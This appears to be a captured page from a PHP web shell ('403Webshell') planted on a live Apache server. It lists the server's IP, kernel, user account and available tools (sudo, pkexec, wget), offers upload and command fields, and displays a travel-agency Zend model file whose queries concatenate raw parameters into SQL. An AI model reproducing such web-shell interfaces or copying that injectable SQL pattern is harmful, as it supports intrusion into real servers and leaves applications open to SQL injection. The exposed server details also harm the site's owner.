403Webshell
Server IP : 103.234.187.230  /  Your IP : 216.73.216.216
Web Server : Apache
System : Linux lserver42043-ind.megavelocity.net 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/b2bzend/application/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/b2bzend/application/models/TblItineraryDescription.php
<?php

class Travel_Model_TblItineraryDescription {

    private $db = NULL;
    public $intId = NULL;
    public $SupplierTypeSysId = NULL;
    public $orderBy = 'asc';
    public $orderByField = 'TB_Agency_Itinerary_Description_Masters';
    public $searchArr = NULL;
    public $baseUrl;

    public function __construct() {
        $request = Zend_Controller_Front::getInstance()->getRequest();
        $this->baseUrl = $request->getScheme() . '://' . $request->getHttpHost();
        $this->db = Zend_Db_Table::getDefaultAdapter();
    }

    public function __destruct() {
        $this->db->closeConnection();
    }

    public function getAllItineraryList($intLoggedinUserAgencySysId = NULL, $ItineraryId = NULL) {
        $sql = " Select ItineraryId,a.Title,a.Description,a.IsActive,a.Iswebsite,DestinationCity, ( select Title from TB_Master_Geo_City where CityId = DestinationCity ) as DestinationCityTitle,StartCity ,b.Title as StartCityName
  From TB_Agency_Itinerary_Description_Masters a 
  left join TB_Master_Geo_City b ON a.StartCity = b.CityId where 1 = 1 AND a.IsMarkForDel=0";

        if (!empty($intLoggedinUserAgencySysId)) {
            $sql .= " AND AgencySysId = '" . $intLoggedinUserAgencySysId . "' ";
        }
        if (!empty($ItineraryId)) {
            $sql .= " AND ItineraryId = '" . $ItineraryId . "' ";
        }
        if (!empty($this->searchArr)) {
//      echo "<pre>"; print_r($this->searchArr); die;
            if ($this->searchArr['StartCity'] != 0) {
                $sql .= " AND a.StartCity = '" . $this->searchArr['StartCity'] . "' ";
            }
            if ($this->searchArr['DestinationCity'] != 0) {
                $sql .= " AND a.DestinationCity = '" . $this->searchArr['DestinationCity'] . "' ";
            }
        }
        $sql .= " ORDER BY ItineraryId DESC";

//        echo $sql;
        return $this->db->query($sql)->fetchAll();
    }

    public function addItineraryDescription($data) {
        try {
            $this->db->insert('TB_Agency_Itinerary_Description_Masters', $data);
            return $this->db->lastInsertId('TB_Agency_Itinerary_Description_Masters');
        } catch (Exception $e) {
            die('There has been an error. ' . $e->getMessage());
        }
        return 0;
    }

    public function updateItineraryDescription($ActivitySysId, $insert) {
        $where = array('ItineraryId = ? ' => $ActivitySysId);
        return $this->db->update('TB_Agency_Itinerary_Description_Masters', $insert, $where);
    }

    public function getManageItineraryDescription($ItineraryId, $intLoggedinUserId) {
        $sql = " SELECT ItineraryId,AgencySysId,StartCity,DestinationCity,Title,Description "
                . "FROM TB_Agency_Itinerary_Description_Masters "
                . " WHERE 1 = 1 "
                . " AND IsMarkForDel=0 ";

        if (!empty($ItineraryId)) {
            $sql .= " AND ItineraryId = '" . $ItineraryId . "' ";
        }
        if (!empty($intLoggedinUserId)) {
            $sql .= " AND AgencySysId = '" . $intLoggedinUserId . "' ";
        }
        if (!empty($this->searchArr)) {
            if ($this->searchArr['Title'] != '') {
                $sql .= " AND Title = '" . trim($this->searchArr['Title']) . "' ";
            }
        }
        return $this->db->query($sql)->fetch();
    }

    public function getAllCityList() {
        $sql = " SELECT Title,CityId FROM TB_Master_Geo_City WHERE 1 = 1  AND IsApproved = 1 AND IsMarkForDel = 0 AND IsActive = 1 ";
        $sql .= " ORDER BY Title ";
        $rowset = $this->db->query($sql)->fetchAll();
        return $rowset;
    }

    public function setActiveDeactive($ActivitySysId, $statusValue) {
        $where = array('ItineraryId = ? ' => base64_decode($ActivitySysId));
        $updateData = array('IsActive' => $statusValue);
        return $this->db->update('TB_Agency_Itinerary_Description_Masters', $updateData, $where);
    }

    public function deleteItinerary($TPSysId, $intLoggedinUserId) {
        $where = array('ItineraryId = ? ' => $TPSysId, 'AgencySysId = ? ' => $intLoggedinUserId);
        $updateData = array('IsMarkForDel' => '1');
        $this->db->update('TB_Agency_Itinerary_Description_Masters', $updateData, $where);
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit